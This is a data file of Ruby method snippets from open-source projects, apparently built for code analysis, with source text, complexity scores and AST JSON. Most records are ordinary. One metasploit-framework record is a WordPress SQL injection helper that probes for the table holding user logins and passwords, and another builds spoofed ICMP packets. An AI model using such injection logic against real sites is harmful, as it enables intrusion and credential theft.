end","complexity_score":22.5,"ast_json":"{\"type\":\"def\",\"children\":[\"duplicate_variant\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"variant\"]},{\"type\":\"arg\",\"children\":[\"include_images\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_variant\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variant\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_variant\"]},\"sku=\",{\"type\":\"send\",\"children\":[null,\"sku_generator\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_variant\"]},\"sku\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_variant\"]},\"deleted_at=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_variant\"]},\"option_values=\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variant\"]},\"option_values\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"option_value\"]}]},{\"type\":\"lvar\",\"children\":[\"option_value\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_variant\"]},\"prices=\",{\"type\":\"send\",\"children\":[null,\"duplicate_prices\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variant\"]},\"prices\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_variant\"]},\"stock_items=\",{\"type\":\"send\",\"children\":[null,\"duplicate_stock_items\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variant\"]},\"stock_items\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"include_images\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variant\"]},\"images\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"image\"]}]},{\"type\":\"send\",\"children\":[null,\"duplicate_image\",{\"type\":\"lvar\",\"children\":[\"image\"]},{\"type\":\"lvar\",\"children\":[\"new_variant\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"new_variant\"]}]}]}","id":"cc03d351-b015-4b03-b280-c04fd2674b35"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/background_migration/delete_orphan_redirect_routes_rows_spec.rb","start_line":55,"raw_source":"def drop_constraint_and_trigger\n    connection.execute(\n      <<~SQL\n        DROP TRIGGER IF EXISTS trigger_sync_redirect_routes_namespace_id ON redirect_routes;\n\n        ALTER TABLE redirect_routes DROP CONSTRAINT IF EXISTS check_e82ff70482;\n      SQL\n    )\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"drop_constraint_and_trigger\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DROP TRIGGER IF EXISTS trigger_sync_redirect_routes_namespace_id ON redirect_routes;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"ALTER TABLE redirect_routes DROP CONSTRAINT IF EXISTS check_e82ff70482;\\n\"]}]}]}]}","id":"802c6802-b1bf-4cb7-8480-005adc88266f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/pid_file.rb","start_line":8,"raw_source":"def self.create(fname, remove_on_exit = true)\n    new(fname).create(remove_on_exit)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fname\"]},{\"type\":\"optarg\",\"children\":[\"remove_on_exit\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"fname\"]}]},\"create\",{\"type\":\"lvar\",\"children\":[\"remove_on_exit\"]}]}]}","id":"58a571dc-e3b5-4a7e-b032-b0626de50c1c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/wordpress/sqli.rb","start_line":85,"raw_source":"def wordpress_sqli_identify_table_prefix\n      indicator = rand(0..19)\n      random_alias = Rex::Text.rand_text_alpha(1..5)\n      default_prefix_check = \"SELECT #{indicator} FROM information_schema.tables WHERE table_name = 'wp_users'\"\n      result = @sqli.run_sql(default_prefix_check)&.to_i\n\n      if result == indicator\n        vprint_status(\"{WPSQLi} Retrieved default table prefix: 'wp_'\")\n        return 'wp_'\n      end\n      vprint_status('{WPSQLi} Default prefix not found, attempting to detect custom table prefix...')\n\n      query = <<-SQL\n        SELECT LEFT(table_name, LENGTH(table_name) - LENGTH('users'))\n        FROM information_schema.tables\n        WHERE table_schema = database()\n          AND table_name LIKE '%\\\\_users'\n          AND (SELECT COUNT(*)\n                FROM information_schema.columns #{random_alias}\n                WHERE #{random_alias}.table_schema = tables.table_schema\n                  AND #{random_alias}.table_name = tables.table_name\n                  AND #{random_alias}.column_name IN ('user_login', 'user_pass')\n              ) = 2\n        LIMIT 1\n      SQL\n\n      prefix = @sqli.run_sql(query.strip.gsub(/\\s+/, ' '))\n      unless prefix && !prefix.strip.empty?\n        print_error('{WPSQLi} Unable to detect the table prefix.')\n        return nil\n      end\n\n      vprint_status(\"{WPSQLi} Custom table prefix detected: '#{prefix}'\")\n\n      prefix\n    end","complexity_score":26.2,"ast_json":"{\"type\":\"def\",\"children\":[\"wordpress_sqli_identify_table_prefix\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"indicator\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[19]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"random_alias\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"default_prefix_check\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indicator\"]}]},{\"type\":\"str\",\"children\":[\" FROM information_schema.tables WHERE table_name = 'wp_users'\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sqli\"]},\"run_sql\",{\"type\":\"lvar\",\"children\":[\"default_prefix_check\"]}]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"indicator\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"{WPSQLi} Retrieved default table prefix: 'wp_'\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"wp_\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"{WPSQLi} Default prefix not found, attempting to detect custom table prefix...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        SELECT LEFT(table_name, LENGTH(table_name) - LENGTH('users'))\\n\"]},{\"type\":\"str\",\"children\":[\"        FROM information_schema.tables\\n\"]},{\"type\":\"str\",\"children\":[\"        WHERE table_schema = database()\\n\"]},{\"type\":\"str\",\"children\":[\"          AND table_name LIKE '%\\\\_users'\\n\"]},{\"type\":\"str\",\"children\":[\"          AND (SELECT COUNT(*)\\n\"]},{\"type\":\"str\",\"children\":[\"                FROM information_schema.columns \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"random_alias\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"                WHERE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"random_alias\"]}]},{\"type\":\"str\",\"children\":[\".table_schema = tables.table_schema\\n\"]},{\"type\":\"str\",\"children\":[\"                  AND \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"random_alias\"]}]},{\"type\":\"str\",\"children\":[\".table_name = tables.table_name\\n\"]},{\"type\":\"str\",\"children\":[\"                  AND \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"random_alias\"]}]},{\"type\":\"str\",\"children\":[\".column_name IN ('user_login', 'user_pass')\\n\"]},{\"type\":\"str\",\"children\":[\"              ) = 2\\n\"]},{\"type\":\"str\",\"children\":[\"        LIMIT 1\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"prefix\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sqli\"]},\"run_sql\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"strip\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\" \"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]},\"strip\"]},\"empty?\"]},\"!\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"{WPSQLi} Unable to detect the table prefix.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{WPSQLi} Custom table prefix detected: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"lvar\",\"children\":[\"prefix\"]}]}]}","id":"0234d795-3582-4803-bdcb-de6c793e38b9"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/engine_test.rb","start_line":1766,"raw_source":"def test_ruby_character_literals_are_not_continuation\n    html = \",\\n,\\n<p>foo</p>\\n\"\n    assert_equal(html, render(<<HAML))\n= ?,\n= ?\\,\n%p foo\nHAML\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_ruby_character_literals_are_not_continuation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"str\",\"children\":[\",\\n,\\n<p>foo</p>\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"html\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"= ?,\\n\"]},{\"type\":\"str\",\"children\":[\"= ?,\\n\"]},{\"type\":\"str\",\"children\":[\"%p foo\\n\"]}]}]}]}]}]}","id":"2ca16ce8-f50e-455c-ae21-5f6664caf40d"}
{"repo_name":"blueprinter","file_path":"./repos/blueprinter/lib/blueprinter/extractor.rb","start_line":9,"raw_source":"def self.extract(field_name, object, local_options, options = {})\n      new.extract(field_name, object, local_options, options)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"extract\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field_name\"]},{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"arg\",\"children\":[\"local_options\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\"]},\"extract\",{\"type\":\"lvar\",\"children\":[\"field_name\"]},{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"lvar\",\"children\":[\"local_options\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"435699ea-d96b-469a-af8d-bab00b335858"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/rogue/rogue_send.rb","start_line":57,"raw_source":"def build_icmp(dst)\n    p = PacketFu::ICMPPacket.new\n    p.ip_saddr = datastore['EHOST']\n    p.ip_daddr = dst\n    p.ip_ttl = 255\n    p.icmp_type = 8\n    payload = Rex::Socket.addr_aton(dst) + [datastore['ECHOID']].pack('n') + Rex::Text.rand_text(26)\n    p.payload = capture_icmp_echo_pack(datastore['ECHOID'], 1, payload)\n    p.recalc\n  end","complexity_score":25.55,"ast_json":"{\"type\":\"def\",\"children\":[\"build_icmp\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dst\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PacketFu\"]},\"ICMPPacket\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"ip_saddr=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EHOST\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"ip_daddr=\",{\"type\":\"lvar\",\"children\":[\"dst\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"ip_ttl=\",{\"type\":\"int\",\"children\":[255]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"icmp_type=\",{\"type\":\"int\",\"children\":[8]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"addr_aton\",{\"type\":\"lvar\",\"children\":[\"dst\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ECHOID\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text\",{\"type\":\"int\",\"children\":[26]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"payload=\",{\"type\":\"send\",\"children\":[null,\"capture_icmp_echo_pack\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ECHOID\"]}]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"recalc\"]}]}]}","id":"f99235c0-7ad9-45d9-bccd-e3e235f3f804"}
{"repo_name":"aasm","file_path":"./repos/aasm/lib/generators/nobrainer/aasm_generator.rb","start_line":11,"raw_source":"def generate_model\n        invoke 'nobrainer:model', [name] unless model_exists?\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_model\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model_exists?\"]},null,{\"type\":\"send\",\"children\":[null,\"invoke\",{\"type\":\"str\",\"children\":[\"nobrainer:model\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]}]}]}]}","id":"1ecd2ad9-0cee-499b-9489-fb9a905f391b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/snmp/manager.rb","start_line":385,"raw_source":"def create_trap_vb_list(sys_up_time, trap_oid, object_list)\n        vb_args = @mib.varbind_list(object_list, :KeepValue)\n        uptime_vb = VarBind.new(SNMP::SYS_UP_TIME_OID, TimeTicks.new(sys_up_time.to_int))\n        trap_vb = VarBind.new(SNMP::SNMP_TRAP_OID_OID, @mib.oid(trap_oid))\n        VarBindList.new([uptime_vb, trap_vb, *vb_args])\n    end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create_trap_vb_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sys_up_time\"]},{\"type\":\"arg\",\"children\":[\"trap_oid\"]},{\"type\":\"arg\",\"children\":[\"object_list\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vb_args\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mib\"]},\"varbind_list\",{\"type\":\"lvar\",\"children\":[\"object_list\"]},{\"type\":\"sym\",\"children\":[\"KeepValue\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uptime_vb\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VarBind\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SNMP\"]},\"SYS_UP_TIME_OID\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TimeTicks\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sys_up_time\"]},\"to_int\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"trap_vb\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VarBind\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SNMP\"]},\"SNMP_TRAP_OID_OID\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mib\"]},\"oid\",{\"type\":\"lvar\",\"children\":[\"trap_oid\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VarBindList\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uptime_vb\"]},{\"type\":\"lvar\",\"children\":[\"trap_vb\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vb_args\"]}]}]}]}]}]}","id":"276ade30-7425-4c6e-b0d2-9d13c7998906"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/gitlab_integration/lib/open_project/gitlab_integration/services/upsert_issue_note.rb","start_line":54,"raw_source":"def extract_params(payload)\n          {\n            gitlab_id: payload.issue.iid,\n            gitlab_user: gitlab_user_id(payload.user),\n            number: payload.issue.iid,\n            gitlab_html_url: payload.issue.url,\n            gitlab_updated_at: payload.issue.updated_at,\n            state: payload.issue.state,\n            title: payload.issue.title,\n            body: description(payload.object_attributes.description),\n            repository: payload.repository.name,\n            labels: payload.issue.labels.map { |values| extract_label_values(values) }\n          }\n        end","complexity_score":26.9,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitlab_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"issue\"]},\"iid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitlab_user\"]},{\"type\":\"send\",\"children\":[null,\"gitlab_user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"issue\"]},\"iid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitlab_html_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"issue\"]},\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitlab_updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"issue\"]},\"updated_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"issue\"]},\"state\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"issue\"]},\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"description\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"object_attributes\"]},\"description\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"repository\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"labels\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"issue\"]},\"labels\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"values\"]}]},{\"type\":\"send\",\"children\":[null,\"extract_label_values\",{\"type\":\"lvar\",\"children\":[\"values\"]}]}]}]}]}]}","id":"a70aa8d5-58e4-4a09-8092-afd7d7608829"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/read_only_mixin.rb","start_line":25,"raw_source":"def allowed_in_staff_writes_only_mode?(action)\n      actions_allowed_in_staff_writes_only_mode.include?(action.to_sym)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_in_staff_writes_only_mode?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"actions_allowed_in_staff_writes_only_mode\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"to_sym\"]}]}]}","id":"1526aeb1-f736-4b45-b47b-6151275168dd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/graphql/loaders/batch_lfs_oid_loader.rb","start_line":12,"raw_source":"def find\n          BatchLoader::GraphQL.for(blob_id).batch(key: repository) do |blob_ids, loader, batch_args|\n            Gitlab::Git::Blob.batch_lfs_pointers(batch_args[:key], blob_ids).each do |loaded_blob|\n              loader.call(loaded_blob.id, loaded_blob.lfs_oid)\n            end\n          end\n        end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"find\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BatchLoader\"]},\"GraphQL\"]},\"for\",{\"type\":\"send\",\"children\":[null,\"blob_id\"]}]},\"batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[null,\"repository\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"blob_ids\"]},{\"type\":\"arg\",\"children\":[\"loader\"]},{\"type\":\"arg\",\"children\":[\"batch_args\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"Blob\"]},\"batch_lfs_pointers\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]},{\"type\":\"lvar\",\"children\":[\"blob_ids\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"loaded_blob\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loader\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loaded_blob\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loaded_blob\"]},\"lfs_oid\"]}]}]}]}]}","id":"1d3d36e1-098e-4612-993a-f2a8ace5e6d3"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/work_packages/schema/work_package_schemas_api.rb","start_line":45,"raw_source":"def raise_invalid_query\n                message = I18n.t(\"api_v3.errors.missing_or_malformed_parameter\",\n                                 parameter: \"filters\")\n\n                raise ::API::Errors::InvalidQuery.new(message)\n              end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"raise_invalid_query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"api_v3.errors.missing_or_malformed_parameter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parameter\"]},{\"type\":\"str\",\"children\":[\"filters\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"API\"]},\"Errors\"]},\"InvalidQuery\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}","id":"58c0f5f2-d252-414e-9695-99687942cae1"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/name_similarity.rb","start_line":9,"raw_source":"def find_similar_name(target_name, names)\n      similar_names = find_similar_names(target_name, names)\n\n      similar_names.first\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"find_similar_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target_name\"]},{\"type\":\"arg\",\"children\":[\"names\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"similar_names\",{\"type\":\"send\",\"children\":[null,\"find_similar_names\",{\"type\":\"lvar\",\"children\":[\"target_name\"]},{\"type\":\"lvar\",\"children\":[\"names\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"similar_names\"]},\"first\"]}]}]}","id":"e6bd01b5-3b8d-4a03-a64d-14e32de52058"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/support/acceptance/child_process.rb","start_line":127,"raw_source":"def unrecv(data)\n      data.bytes.reverse.each { |b| buffer.ungetbyte(b) }\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"unrecv\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"bytes\"]},\"reverse\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"buffer\"]},\"ungetbyte\",{\"type\":\"lvar\",\"children\":[\"b\"]}]}]}]}","id":"a26315b3-9c5a-4b97-a6f9-4190d6be66d5"}
